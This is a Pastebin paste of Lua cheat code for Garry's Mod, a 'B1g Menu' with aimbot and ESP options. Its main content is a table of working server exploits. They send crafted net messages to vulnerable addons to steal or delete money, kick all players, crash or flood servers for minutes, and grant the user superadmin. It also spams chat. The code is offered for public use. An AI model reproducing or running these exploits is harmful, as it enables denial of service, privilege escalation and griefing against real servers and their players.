Advertisement
Guest User

Exploit

a guest
Aug 20th, 2017
352
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.92 KB | None | 0 0
  1. local AimbotPoints = {}
  2. AimbotPoints[1] = {bone = "ValveBiped.Bip01_Head1"}
  3. AimbotPoints[2] = {bone = "ValveBiped.Bip01_Neck1"}
  4. AimbotPoints[3] = {bone = "ValveBiped.Bip01_Spine4"}
  5. AimbotPoints[4] = {bone = "ValveBiped.Bip01_Spine2"}
  6. AimbotPoints[5] = {bone = "ValveBiped.Bip01_Spine"}
  7. surface.CreateFont( "Font L", {
  8. font = "Courier New",
  9. size = 18,
  10. weight = 300,
  11. } )
  12. surface.CreateFont( "Font M", {
  13. font = "Courier New",
  14. size = 15,
  15. weight = 300,
  16. } )
  17. surface.CreateFont( "Font L2", {
  18. font = "Verdana",
  19. extended = false,
  20. size = 12,
  21. weight = 1000,
  22. blursize = 0,
  23. scanlines = 0,
  24. shadow = true,
  25. antialias = true
  26. } )
  27. // if you're going to use this for your paste atleast give me credit :)
  28. // CFour - /id/BordersClosed/
  29. local pMenu = {} // functions
  30. local pMenuVars = {
  31. Tabs = {},
  32. Sliders = {},
  33. CheckBoxes = {},
  34. Exploits = {}
  35. } // store values to be used at a later time
  36. local BigExploits = {}
  37. local PI = 3.14159265359;
  38. local Rad = 180 / PI
  39. function pMenu.IsNetString(netstring)
  40. local validate,_ = pcall( net.Start, netstring )
  41. if validate then
  42. return validate;
  43. end
  44. return false;
  45. end
  46. function pMenu.RandomString(len)
  47. if len == nil then
  48. len = math.random(20,100)
  49. end
  50. local ret = ""
  51. for i=1,len do
  52. ret = ret..string.char(math.random(33,126)) // fist 32 of ascii is pretty much garbage, I don't want spaces so we're skipping 32.
  53. end // also I don't think gmod uses extended ascii
  54. return ret
  55. end
  56. BigExploits["Duel Moniez"] = {func =
  57. function()
  58. if pMenu.IsNetString("duelrequestguiYes") then
  59. net.Start("duelrequestguiYes")
  60. net.WriteInt(-2147483648,32) // b1g 32 bit int laff -> -99999999999999999999999999999999999999999999999999999999999999999999999999999
  61. net.WriteEntity(table.Random( player.GetAll() ) )
  62. net.WriteString("Crossbow")
  63. net.SendToServer()
  64. end
  65. end
  66. }
  67. BigExploits["Drugsmod remove all weapons?"] = {func =
  68. function()
  69. if pMenu.IsNetString("drugseffect_remove") then
  70. net.Start("drugseffect_remove")
  71. net.SendToServer()
  72. end
  73. end
  74. }
  75. BigExploits["Drugsmod remove all money?"] = {func =
  76. function()
  77. if pMenu.IsNetString("drugs_money") then
  78. net.Start("drugs_money")
  79. net.SendToServer()
  80. end
  81. end
  82. }
  83. BigExploits["Drugsmod ignite all props?"] = {func =
  84. function()
  85. if pMenu.IsNetString("drugs_ignite") then
  86. net.Start("drugs_ignite")
  87. net.WriteString("prop_physics")
  88. net.SendToServer()
  89. end
  90. end
  91. }
  92. BigExploits["Drugsmod remove all props?"] = {func =
  93. function()
  94. if pMenu.IsNetString("drugs_text") then
  95. net.Start("drugs_text")
  96. net.WriteString("prop_physics")
  97. net.SendToServer()
  98. end
  99. end
  100. }
  101. BigExploits["TGN Advanced Money Printer Take Monie"] = {func =
  102. function()
  103. if pMenu.IsNetString("SyncPrinterButtons76561198056171650") then
  104. for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
  105. if v:IsValid() then
  106. net.Start( "SyncPrinterButtons76561198056171650" )
  107. net.WriteEntity(v)
  108. net.WriteUInt(2, 4)
  109. net.SendToServer()
  110. end
  111. end
  112. end
  113. end
  114. }
  115.  
  116. BigExploits["Logging thing Kick All players?"] = {func =
  117. function()
  118. if pMenu.IsNetString("DL_Answering") then
  119. local function reportQuestionmark()
  120. for i = 1, 2000 do
  121. net.Start("DL_Answering")
  122. net.SendToServer()
  123. end
  124. end
  125. timer.Create(pMenu.RandomString(20),0.1,50,reportQuestionmark)
  126. end
  127. end
  128. }
  129. BigExploits["SimplicityAC Crash Server"] = {func =
  130. function()
  131. if pMenu.IsNetString("SimplicityAC_aysent") then
  132. local tbl = {}
  133. for i=1,1000 do
  134. tbl[i] = i;
  135. end
  136. net.Start("SimplicityAC_aysent")
  137.  
  138. net.WriteUInt(1, 8)
  139.  
  140. net.WriteUInt(4294967295, 32)
  141.  
  142. net.WriteTable(tbl)
  143.  
  144. net.SendToServer()
  145. end
  146. end
  147. }
  148. BigExploits["Auzlex's Teleport System Lag"] = {func =
  149. function()
  150. if pMenu.IsNetString("ATS_WARP_REMOVE_CLIENT") then
  151. timer.Create(pMenu.RandomString(20),0.05,6000,function()
  152. for k,v in pairs(player.GetAll()) do
  153. net.Start( "ATS_WARP_REMOVE_CLIENT" )
  154. net.WriteEntity( v )
  155. net.WriteString( "adminroom1" )
  156. net.SendToServer()
  157. net.Start( "ATS_WARP_FROM_CLIENT" )
  158. net.WriteEntity( v )
  159. net.WriteString( "adminroom1" )
  160. net.SendToServer()
  161. net.Start( "ATS_WARP_VIEWOWNER" )
  162. net.WriteEntity( v )
  163. net.WriteString( "adminroom1" )
  164. net.SendToServer()
  165. end
  166. end)
  167. end
  168. end
  169. }
  170. BigExploits["Lagger 2"] = {func =
  171. function()
  172. if pMenu.IsNetString("CFRemoveGame") then
  173. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  174. for k,v in pairs(player.GetAll()) do
  175. net.Start( "CFRemoveGame" )
  176. net.WriteFloat( math.Round( "10000\n" ) )
  177. net.SendToServer()
  178. net.Start( "CFJoinGame" )
  179. net.WriteFloat( math.Round( "10000\n" ) )
  180. net.SendToServer()
  181. net.Start( "CFEndGame" )
  182. net.WriteFloat( "10000\n" )
  183. net.SendToServer()
  184. end
  185. end)
  186. end
  187. end
  188. }
  189. BigExploits["Lagger 3"] = {func =
  190. function()
  191. if pMenu.IsNetString("CreateCase") then
  192. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  193. for i = 1, 300 do
  194. net.Start( "CreateCase" )
  195. net.WriteString( "tapped by b1g hack from citizenhack.me" )
  196. net.SendToServer()
  197. end
  198. end)
  199. end
  200. end
  201. }
  202. BigExploits["Lagger 4"] = {func =
  203. function()
  204. if pMenu.IsNetString("rprotect_terminal_settings") then
  205. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  206. for i = 1, 200 do
  207. net.Start( "rprotect_terminal_settings" )
  208. net.WriteEntity( LocalPlayer() )
  209. net.SendToServer()
  210. end
  211. end)
  212. end
  213. end
  214. }
  215. BigExploits["Lagger 5"] = {func =
  216. function()
  217. if pMenu.IsNetString("StackGhost") then
  218. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  219. for i = 1, 8 do
  220. for k,v in pairs( player.GetAll() ) do
  221. net.Start( "StackGhost" )
  222. net.WriteInt(69,32)
  223. net.SendToServer()
  224. end
  225. end
  226. end)
  227. end
  228. end
  229. }
  230. BigExploits["Lagger 6"] = {func =
  231. function()
  232. if pMenu.IsNetString("JoinOrg") then
  233. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  234. for k,v in pairs(player.GetAll()) do
  235. net.Start("JoinOrg")
  236. net.WriteEntity(LocalPlayer())
  237. net.WriteString("test")
  238. net.SendToServer()
  239. end
  240. end)
  241. end
  242. end
  243. }
  244. BigExploits["Lagger 7"] = {func =
  245. function()
  246. if pMenu.IsNetString("pac_submit") then
  247. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  248. for i=1, 1800 do
  249. net.Start("pac_submit")
  250. net.SendToServer()
  251. end
  252. end)
  253. end
  254. end
  255. }
  256.  
  257. BigExploits["Lagger 8"] = {func =
  258. function()
  259. if pMenu.IsNetString("steamid2") then
  260. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  261. for i = 1, 300 do
  262. net.Start( "steamid2" )
  263. net.WriteString( "S P I C Y " )
  264. net.SendToServer()
  265. end
  266. end)
  267. end
  268. end
  269. }
  270. BigExploits["Lagger 9"] = {func =
  271. function()
  272. if pMenu.IsNetString("NDES_SelectedEmblem") then
  273. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  274. for i=1, 2000 do
  275. net.Start("NDES_SelectedEmblem")
  276. net.WriteString("exploitcity has to be a joke they can be for real.")
  277. net.SendToServer()
  278. end
  279. end)
  280. end
  281. end
  282. }
  283. BigExploits["Lagger 10"] = {func =
  284. function()
  285. if pMenu.IsNetString("join_disconnect") then
  286. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  287. for i=1, 3000 do
  288. net.Start("join_disconnect")
  289. net.WriteEntity(table.Random(player.GetAll()))
  290. net.SendToServer()
  291. end
  292. end)
  293. end
  294. end
  295. }
  296. BigExploits["PAC Crash Server old"] = {func =
  297. function()
  298. if pMenu.IsNetString("pac_to_contraption") then
  299. local tbl = {}
  300.  
  301. for i=1,1000000000 do
  302.  
  303. tbl[#tbl + 1] = i
  304.  
  305. end
  306.  
  307. net.Start("pac_to_contraption")
  308.  
  309. net.WriteTable( tbl )
  310.  
  311. net.SendToServer()
  312. end
  313. end
  314. }
  315. BigExploits["NLRKick"] = {func =
  316. function()
  317. if pMenu.IsNetString("NLRKick") then
  318. for k,v in pairs(player.GetAll()) do
  319. if v == LocalPlayer() then
  320. continue;
  321. end
  322. net.Start("NLRKick")
  323. net.WriteEntity(v)
  324. net.SendToServer()
  325. end
  326. end
  327. end
  328. }
  329. BigExploits["B1g Crasher"] = {func =
  330. function()
  331. if pMenu.IsNetString("Morpheus.StaffTracker") then
  332. timer.Create(pMenu.RandomString(20),0.02,15000,function()
  333. for i=1, 2000 do
  334. net.Start("Morpheus.StaffTracker")
  335. net.SendToServer()
  336. end
  337. end)
  338. end
  339. end
  340. }
  341. BigExploits["Give superadmin"] = {func =
  342. function()
  343. if pMenu.IsNetString("pplay_deleterow") then
  344. local id = LocalPlayer():SteamID()
  345. local tbl = {}
  346. tbl.name = "FAdmin_PlayerGroup"
  347. tbl.where = {"steamid",tostring(id)}
  348.  
  349. net.Start("pplay_deleterow")
  350.  
  351. net.WriteTable(tbl)
  352.  
  353. net.SendToServer()
  354.  
  355.  
  356.  
  357. local tbl = {}
  358.  
  359. tbl.tblname = "FAdmin_PlayerGroup"
  360.  
  361. tbl.tblinfo = {tostring(id),"superadmin"}
  362.  
  363. net.Start("pplay_addrow")
  364.  
  365. net.WriteTable(tbl)
  366. net.SendToServer()
  367. end
  368. end
  369. }
  370. BigExploits["pm spam"] = {func =
  371. function()
  372. timer.Create(pMenu.RandomString(20),5,10,function()
  373. for k,v in pairs(player.GetAll()) do
  374. if v == LocalPlayer() then
  375. continue;
  376. end
  377. LocalPlayer():ConCommand("ulx psay "..v:Nick().." server rekt by "..LocalPlayer():Nick())
  378. end
  379. end)
  380. end
  381. }
  382. BigExploits["asay spam"] = {func =
  383. function()
  384. timer.Create(pMenu.RandomString(20),1.1,10,function()
  385. for i=1, ((1/FrameTime())) do
  386. LocalPlayer():ConCommand("ulx asay"..'"Thats pretty spicy dude lol"')
  387. end
  388. end)
  389. end
  390. }
  391.  
  392. function pMenu.MouseInArea(frame,minx,miny,maxx,maxy)
  393. local PosX,PosY = frame:GetPos()
  394. local posx,posy = gui.MousePos();
  395. return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
  396. end
  397. function pMenu.DrawOutLinedRect(x,y,w,h,color)
  398. surface.SetDrawColor( color )
  399. surface.DrawOutlinedRect( x, y, w, h )
  400. surface.SetDrawColor( Color(255,255,255,255) )
  401. end
  402. function pMenu.DrawRect(x,y,w,h,color)
  403. surface.SetDrawColor( color )
  404. surface.DrawRect( x, y, w, h )
  405. surface.SetDrawColor( Color(255,255,255,255) )
  406. end
  407. function pMenu.Drawline(x,y,x2,y2,color)
  408. surface.SetDrawColor(color)
  409. surface.DrawLine(x,y,x2,y2)
  410. surface.SetDrawColor( Color(255,255,255,255) )
  411. end
  412. function pMenu.DrawCircle(X,Y,radius,numSides,color)
  413. local Step = PI * 2.0 / numSides;
  414. local old = 0;
  415. for a=0,PI*2.0,Step do
  416. local X1 = radius * math.cos(a) + X;
  417. local Y1 = radius * math.sin(a) + Y;
  418. local X2 = radius * math.cos(a + Step) + X;
  419. local Y2 = radius * math.sin(a + Step) + Y;
  420. surface.SetDrawColor( color )
  421. surface.DrawLine(X1, Y1, X2, Y2);
  422. end
  423. end
  424. function pMenu.DrawSlider(frame,x,y,w,h,slider,min,max,startval,round)
  425. if round == nil then
  426. round = false;
  427. end
  428. max = max - min
  429. if pMenuVars.Sliders[slider] == nil then
  430. pMenuVars.Sliders[slider] = {min = min, max = max, value = startval}
  431. end
  432. local PosX,PosY = frame:GetPos()
  433. local NewX,NewY = PosX + x,PosY + y
  434. pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
  435. if input.IsMouseDown(MOUSE_LEFT) && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
  436. local MX,MY = gui.MousePos();
  437. local MXF,MYF = MX - NewX + x,MY - NewY + y
  438. if round == false then
  439. pMenuVars.Sliders[slider].value = math.Clamp(math.Round((((MXF - x) / w) * max + min)),min,max + min)
  440. else
  441. pMenuVars.Sliders[slider].value = math.Clamp((((MXF - x) / w) * max + min),min,max + min)
  442. end
  443. end
  444. local val = pMenuVars.Sliders[slider].value;
  445. local slid = (w - 10) / (max) * (val - min)
  446. pMenu.DrawRect(x + slid,y,10,h,Color(18,89,131,255))
  447. draw.SimpleText(val,"Font M",x + (w/2),y + 2,Color(255,255,255,255),TEXT_ALIGN_CENTER)
  448. pMenu.DrawOutLinedRect(x,y, w , h , Color( 0,255,255, 200 ))
  449. end
  450. function pMenu.DrawCheckBox(frame,x,y,CBOX,defvalue,text)
  451. local w,h = 20,20
  452. if pMenuVars.CheckBoxes[CBOX] == nil then
  453. pMenuVars.CheckBoxes[CBOX] = {value = defvalue,tez = 0}
  454. end
  455. local PosX,PosY = frame:GetPos()
  456. local NewX,NewY = PosX + x,PosY + y
  457. pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
  458. pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255))
  459. if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) && !pMenuVars.CheckBoxes[CBOX].value then
  460. pMenu.DrawRect(x + 3,y + 3,w - 6,h - 6,Color(18,59,101,255))
  461. end
  462. if input.IsMouseDown(MOUSE_LEFT) then
  463. pMenuVars.CheckBoxes[CBOX].tez = pMenuVars.CheckBoxes[CBOX].tez + 1
  464. else
  465. pMenuVars.CheckBoxes[CBOX].tez = 0;
  466. end
  467. if pMenuVars.CheckBoxes[CBOX].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
  468. pMenuVars.CheckBoxes[CBOX].value = !pMenuVars.CheckBoxes[CBOX].value;
  469. end
  470. if pMenuVars.CheckBoxes[CBOX].value then
  471. pMenu.DrawRect(x + 3,y + 3,w - 6,h - 6,Color(18,89,131,255))
  472. end
  473. draw.SimpleText(text,"Font M",x + w + 5,y + 2,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  474. end
  475.  
  476. function pMenu.DrawTab(frame,x,y,w,h,NAME,defvalue)
  477. if pMenuVars.Tabs[NAME] == nil then
  478. pMenuVars.Tabs[NAME] = {value = defvalue,tez = 0}
  479. end
  480. local PosX,PosY = frame:GetPos()
  481. local NewX,NewY = PosX + x,PosY + y
  482. pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
  483. if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) && !pMenuVars.Tabs[NAME].value then
  484. pMenu.DrawRect(x,y,w,h,Color(18,59,101,255))
  485. end
  486. if input.IsMouseDown(MOUSE_LEFT) then
  487. pMenuVars.Tabs[NAME].tez = pMenuVars.Tabs[NAME].tez + 1
  488. else
  489. pMenuVars.Tabs[NAME].tez = 0;
  490. end
  491. if pMenuVars.Tabs[NAME].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
  492. pMenuVars.Tabs[NAME].value = !pMenuVars.Tabs[NAME].value;
  493. end
  494. if pMenuVars.Tabs[NAME].value then
  495. pMenu.DrawRect(x,y,w,h,Color(18,89,131,255))
  496. end
  497. pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255))
  498. draw.SimpleText(NAME,"Font L",x + w/2,y + h/2,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
  499. end
  500. function pMenu.DrawExploit(frame,x,y,w,h,NAME,func,text1,text2)
  501. if pMenuVars.Exploits[NAME] == nil then
  502. pMenuVars.Exploits[NAME] = {func = func,tez = 0}
  503. end
  504. local PosX,PosY = frame:GetPos()
  505. local NewX,NewY = PosX + x,PosY + y
  506. pMenu.DrawRect(x,y,w,h,Color(12,25,34,255))
  507. if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
  508. pMenu.DrawRect(x,y,w,h,Color(18,59,101,255))
  509. end
  510. if input.IsMouseDown(MOUSE_LEFT) then
  511. pMenuVars.Exploits[NAME].tez = pMenuVars.Exploits[NAME].tez + 1
  512. else
  513. pMenuVars.Exploits[NAME].tez = 0;
  514. end
  515. if pMenuVars.Exploits[NAME].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then
  516. pMenuVars.Exploits[NAME].func();
  517. end
  518. pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255))
  519. if text2 == nil then
  520. draw.SimpleText(text1,"Font M",x + w/2,y + h/2,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
  521. else
  522. draw.SimpleText(text1,"Font M",x + w/2,y + h/2 - 8,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
  523. draw.SimpleText(text2,"Font M",x + w/2,y + h/2 + 8,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
  524. end
  525. end
  526. local firsttime = true
  527. local Frame = NULL;
  528.  
  529.  
  530.  
  531.  
  532. function pMenu.Menu()
  533. Frame = vgui.Create( "DFrame" )
  534. Frame:SetTitle( "" )
  535. Frame:SetSize( 700, 500 )
  536. Frame:Center()
  537. Frame:ShowCloseButton(false)
  538. Frame:MakePopup()
  539. Frame.Paint = function( self, w, h )
  540. pMenu.DrawRect(0, 0, w, h, Color( 32,45,54, 230 ))
  541. pMenu.DrawRect(0, 0, w, 20, Color( 18,89,131, 255 ))
  542. pMenu.DrawOutLinedRect(0, 0, w, 20, Color( 0,255,255, 200 ))
  543. pMenu.DrawOutLinedRect(0, 0, w, h, Color( 0,255,255, 200 ))
  544. pMenu.DrawRect(5, 25, 125, h - 30, Color( 18,89,131, 100 ))
  545. pMenu.DrawOutLinedRect(5, 25, 125, h - 30, Color( 0,255,255, 200 ))
  546. pMenu.DrawOutLinedRect(135, 25, w - 140, h - 30, Color( 0,255,255, 200 ))
  547. draw.SimpleText("B1g Menu v5 public","Font L",w/2,1,Color(255,255,255,255),TEXT_ALIGN_CENTER)
  548. local Aimbot = "Aimbot";
  549. local Visuals = "Visuals";
  550. local b1gExploits = "Exploits"
  551. local misc = "MISC"
  552. local hvh = "HvH"
  553. pMenu.DrawTab(Frame,10,30,115,50,Aimbot,true)
  554. pMenu.DrawTab(Frame,10,85,115,50,Visuals,true)
  555. pMenu.DrawTab(Frame,10,140,115,50,b1gExploits,true)
  556. pMenu.DrawTab(Frame,10,195,115,50,misc,true)
  557. pMenu.DrawTab(Frame,10,250,115,50,hvh,true)
  558. if pMenuVars.Tabs[Visuals].value then
  559. pMenu.DrawCheckBox(Frame,170,55,"ESP",true,"Enable ESP")
  560.  
  561. pMenu.Drawline(160,95,350,95,Color(0,255,255,255))
  562.  
  563. pMenu.DrawCheckBox(Frame,150,115,"ESP Name",false,"Name")
  564. pMenu.DrawCheckBox(Frame,150,145,"ESP BoundingBox",false,"Bounding Box")
  565. pMenu.DrawCheckBox(Frame,150,175,"ESP HealthBar",false,"Health Bar")
  566. pMenu.DrawCheckBox(Frame,150,205,"ESP Traceline",false,"Eye Traceline")
  567. draw.SimpleText("Traceline Distance","Font M",150,237,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  568. pMenu.DrawSlider(Frame,150,265,210,20,"ESP Traceline Distance",25, 250, 71)
  569. pMenu.DrawCheckBox(Frame,150,295,"ESP Position",false,"Position")
  570. pMenu.DrawCheckBox(Frame,150,325,"ESP Angles",false,"Eye Angles")
  571. pMenu.DrawCheckBox(Frame,150,355,"ESP Glow",false,"Glow")
  572. pMenu.DrawCheckBox(Frame,150,385,"ESP Chams",false,"Chams")
  573. pMenu.DrawCheckBox(Frame,150,415,"ESP XQZ",false,"XQZ")
  574. pMenu.DrawCheckBox(Frame,150,445,"ESP WeaponCham",false,"Weapon Chams")
  575.  
  576.  
  577. draw.SimpleText("Box Color","Font M",390,35,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  578. draw.SimpleText("R","Font M",660,55,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  579. pMenu.DrawSlider(Frame,390,55,260,20,"ESP BoxColor.r",0, 255, 255)
  580. draw.SimpleText("G","Font M",660,80,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  581. pMenu.DrawSlider(Frame,390,80,260,20,"ESP BoxColor.g",0, 255, 0)
  582. draw.SimpleText("B","Font M",660,105,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  583. pMenu.DrawSlider(Frame,390,105,260,20,"ESP BoxColor.b",0, 255, 255)
  584.  
  585. draw.SimpleText("Text Color","Font M",390,130,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  586. draw.SimpleText("R","Font M",660,150,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  587. pMenu.DrawSlider(Frame,390,150,260,20,"ESP TextColor.r",0, 255, 255)
  588. draw.SimpleText("G","Font M",660,175,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  589. pMenu.DrawSlider(Frame,390,175,260,20,"ESP TextColor.g",0, 255, 206)
  590. draw.SimpleText("B","Font M",660,200,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  591. pMenu.DrawSlider(Frame,390,200,260,20,"ESP TextColor.b",0, 255, 121)
  592.  
  593. draw.SimpleText("Chams Visible","Font M",390,225,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  594. draw.SimpleText("R","Font M",660,250,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  595. pMenu.DrawSlider(Frame,390,250,260,20,"ESP ChamVisColor.r",0, 255, 10)
  596. draw.SimpleText("G","Font M",660,275,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  597. pMenu.DrawSlider(Frame,390,275,260,20,"ESP ChamVisColor.g",0, 255, 206)
  598. draw.SimpleText("B","Font M",660,300,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  599. pMenu.DrawSlider(Frame,390,300,260,20,"ESP ChamVisColor.b",0, 255, 4)
  600.  
  601. draw.SimpleText("Chams Non-Visible","Font M",390,325,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  602. draw.SimpleText("R","Font M",660,350,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  603. pMenu.DrawSlider(Frame,390,350,260,20,"ESP ChamNVisColor.r",0, 255, 70)
  604. draw.SimpleText("G","Font M",660,375,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  605. pMenu.DrawSlider(Frame,390,375,260,20,"ESP ChamNVisColor.g",0, 255, 70)
  606. draw.SimpleText("B","Font M",660,400,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  607. pMenu.DrawSlider(Frame,390,400,260,20,"ESP ChamNVisColor.b",0, 255, 255)
  608.  
  609. pMenu.Drawline(375,30,375,490,Color(0,255,255,255))
  610. end
  611. if pMenuVars.Tabs[misc].value then
  612. pMenu.DrawCheckBox(Frame,170,55,"MISC Thirdperson",false,"Enable ThirdPerson")
  613. draw.SimpleText("Distance","Font M",170,85,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  614. pMenu.DrawSlider(Frame,170,105,260,20,"MISC Thirdperson Distance",10, 300, 100)
  615. pMenu.DrawCheckBox(Frame,170,135,"MISC Bhop",false,"Enable Bunnyhop")
  616. pMenu.DrawCheckBox(Frame,170,165,"MISC Autostrafe",false,"Enable Autostrafe")
  617. pMenu.DrawCheckBox(Frame,170,195,"MISC Text to speech is fucking aids",false,"Enable Text to Speech")
  618. end
  619. if pMenuVars.Tabs[b1gExploits].value then
  620. if pMenu.IsNetString("duelrequestguiYes")then
  621. pMenu.DrawExploit(Frame,140,30,170,50,"Duel Moniez",BigExploits["Duel Moniez"].func,"Dueling","Give b1g money")
  622. end
  623. if pMenu.IsNetString("drugseffect_remove") then
  624. pMenu.DrawExploit(Frame,140,85,170,50,"Drugsmod remove all weapons?",BigExploits["Drugsmod remove all weapons?"].func,"Drugsmod","Strip all Weapons?")
  625. end
  626. if pMenu.IsNetString("drugs_money") then
  627. pMenu.DrawExploit(Frame,140,140,170,50,"Drugsmod remove all money?",BigExploits["Drugsmod remove all money?"].func,"Drugsmod","Remove all money?")
  628. end
  629. if pMenu.IsNetString("drugs_ignite") then
  630. pMenu.DrawExploit(Frame,140,195,170,50,"Drugsmod ignite all props?",BigExploits["Drugsmod ignite all props?"].func,"Drugsmod","ignite all props?")
  631. end
  632. if pMenu.IsNetString("drugs_text") then
  633. pMenu.DrawExploit(Frame,140,250,170,50,"Drugsmod remove all props?",BigExploits["Drugsmod remove all props?"].func,"Drugsmod","Remove all props?")
  634. end
  635. if pMenu.IsNetString("SyncPrinterButtons76561198056171650") then
  636. pMenu.DrawExploit(Frame,140,305,170,50,"TGN Advanced Money Printer Take Monie",BigExploits["TGN Advanced Money Printer Take Monie"].func,"TGN Advanced Printer","Take all money")
  637. end
  638. if pMenu.IsNetString("DL_Answering") then
  639. pMenu.DrawExploit(Frame,140,360,170,50,"Logging thing Kick All players?",BigExploits["Logging thing Kick All players?"].func,"Logging thing","Kick all players")
  640. end
  641. if pMenu.IsNetString("SimplicityAC_aysent") then
  642. pMenu.DrawExploit(Frame,140,415,170,50,"SimplicityAC Crash Server",BigExploits["SimplicityAC Crash Server"].func,"SimplicityAC","Crash Server")
  643. end
  644. if pMenu.IsNetString("ATS_WARP_REMOVE_CLIENT") then
  645. pMenu.DrawExploit(Frame,315,30,170,50,"Auzlex's Teleport System Lag",BigExploits["Auzlex's Teleport System Lag"].func,"Auzlex's Teleport System","Lag Server for 5 min")
  646. end
  647. if pMenu.IsNetString("CFRemoveGame") then
  648. pMenu.DrawExploit(Frame,315,85,170,50,"Lagger 2",BigExploits["Lagger 2"].func,"Lagger 2 (5 min)")
  649. end
  650. if pMenu.IsNetString("CreateCase") then
  651. pMenu.DrawExploit(Frame,315,140,170,50,"Lagger 3",BigExploits["Lagger 3"].func,"Lagger 3 (5 min)")
  652. end
  653. if pMenu.IsNetString("rprotect_terminal_settings") then
  654. pMenu.DrawExploit(Frame,315,195,170,50,"Lagger 4",BigExploits["Lagger 4"].func,"Lagger 4 (5 min)")
  655. end
  656. if pMenu.IsNetString("StackGhost") then
  657. pMenu.DrawExploit(Frame,315,250,170,50,"Lagger 5",BigExploits["Lagger 5"].func,"Lagger 5 (5 min)")
  658. end
  659. if pMenu.IsNetString("JoinOrg") then
  660. pMenu.DrawExploit(Frame,315,250,170,50,"Lagger 6",BigExploits["Lagger 6"].func,"Lagger 6 (5 min)")
  661. end
  662. if pMenu.IsNetString("pac_submit") then
  663. pMenu.DrawExploit(Frame,315,305,170,50,"Lagger 7",BigExploits["Lagger 7"].func,"Lagger 7 (5 min)")
  664. end
  665. if pMenu.IsNetString("pac_to_contraption") then
  666. pMenu.DrawExploit(Frame,315,360,170,50,"PAC Crash Server old",BigExploits["PAC Crash Server old"].func,"PAC (patched on some)","Crash Server")
  667. end
  668. if pMenu.IsNetString("NLRKick") then
  669. pMenu.DrawExploit(Frame,315,415,170,50,"NLRKick",BigExploits["NLRKick"].func,"NLR","Kick everyone (but you)")
  670. end
  671. if pMenu.IsNetString("steamid2") then
  672. pMenu.DrawExploit(Frame,490,30,170,50,"Lagger 8",BigExploits["Lagger 8"].func,"Lagger 8 (5min)")
  673. end
  674. if pMenu.IsNetString("NDES_SelectedEmblem") then
  675. pMenu.DrawExploit(Frame,490,85,170,50,"Lagger 9",BigExploits["Lagger 9"].func,"Lagger 9 (5min)")
  676. end
  677. if pMenu.IsNetString("join_disconnect") then
  678. pMenu.DrawExploit(Frame,490,140,170,50,"Lagger 10",BigExploits["Lagger 10"].func,"Lagger 10 (5min)")
  679. end
  680. if pMenu.IsNetString("Morpheus.StaffTracker") then
  681. pMenu.DrawExploit(Frame,490,195,170,50,"B1g Crasher",BigExploits["B1g Crasher"].func,"B1g Crasher")
  682. end
  683. if pMenu.IsNetString("pplay_deleterow") then
  684. pMenu.DrawExploit(Frame,490,250,170,50,"Give superadmin",BigExploits["Give superadmin"].func,"Give superadmin")
  685. end
  686. pMenu.DrawExploit(Frame,490,305,170,50,"pm spam",BigExploits["pm spam"].func,"rekt by me lol")
  687. pMenu.DrawExploit(Frame,490,360,170,50,"asay spam",BigExploits["asay spam"].func,"asay spam")
  688. draw.SimpleText("Thanks pExploitcity ","Font L",140,470,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  689. end
  690. if pMenuVars.Tabs[Aimbot].value then
  691. pMenu.DrawCheckBox(Frame,170,55,"Aibmot Enable",false,"Enable")
  692. draw.SimpleText("Aimbot FOV","Font M",170,85,Color(255,255,255,255),TEXT_ALIGN_LEFT)
  693. pMenu.DrawSlider(Frame,170,105,490,20,"Aimbot FOV",1, 360, 10,true)
  694.  
  695. pMenu.DrawCheckBox(Frame,170,140,"Aibmot Smooth",false,"Smooth movement")
